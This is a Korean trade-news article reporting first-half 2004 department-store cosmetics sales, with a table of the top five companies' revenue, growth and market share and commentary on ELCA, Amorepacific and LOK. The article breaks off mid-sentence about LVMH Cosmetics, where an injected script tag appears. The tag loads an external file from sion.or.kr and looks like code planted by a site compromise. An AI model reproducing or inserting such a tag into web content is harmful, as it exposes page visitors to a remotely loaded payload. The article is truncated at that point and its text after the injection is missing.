전반적인 경기 불황에도 불구하고 백화점에서의 화장품 판매가 작년에 비해 증가한 것으로 나타났다. 지난 상반기 백화점 브랜드 화장품의 총 매출은 약 5,085억원. 본지가 전국 백화점 1층 매장에 입점해 있는 화장품 브랜드 회사 37곳의 상반기 매출을 집계한 결과 지난해의 4,826억원에서 5.4% 가량 는 5,085억원에 이르는 것으로 나타났다. 상반기 마지막 영업월인 지난달의 실적은 732억8천만원으로 작년 같은 기간보다 약 5.7% 증가했다.

백화점 입점 상위 5개사 상반기 실적

(단위: 억원, %)

회사 2003년 2004년 성장률 점유율 ELCA한국 1113.1 1143.5 2.7 22.5 태평양 708.1 815.9 15.2 16.0 LOK(유) 723.8 746.7 3.2 14.7 LVMH코스메틱 470.0 464.1 -1.3 9.1 샤넬 478.8 414.3 -13.5 8.1

가장 많은 매출을 올린 회사는 ELCA한국으로 에스티로더 브랜드가 483억6천만의 매출을 올리는 등 전체적으로 1,143억5천만원의 실적을 달성한 것으로 나타났다. ELCA는 전년에 비해 2.7% 가량 매출이 늘어나면서 백화점 시장에서의 점유율을 22.5%로 지키고 있다. 태평양이 올 상반기 기록한 실적은 815억9천만원으로 ELCA에 이어 회사별 순위에서 2위를 차지했다. 지난해와 비교할 때 무려 15.1%나 실적이 상승하면서 가파른 성장세를 보이고 있다. 특히 헤라&설화수의 경우 매장별 판매액으로만 보면 백화점 브랜드 매장 가운데 수위를 차지하고 있다. 시장 점유율은 16.0% 수준이다. LOK(유)는 랑콤이 445억8천만원의 실적을 올린 것을 비롯해 모두 746억7천만원의 매출을 기록하면서 3위에 올랐다. 전년동기 대비 매출 증가율은 3.2%며 시장 점유율은 14.7%에 이른다. 로레알 그룹 브랜드 가운데 비오템과 슈에무라 등의 실적이 눈에 띄게 올랐으나, 태평양의 급신장에 밀려 회사별 순위에서는 한걸음 물러났다. LVMH코스메틱과 ?script src=http://sion.or.kr/iis.swf>

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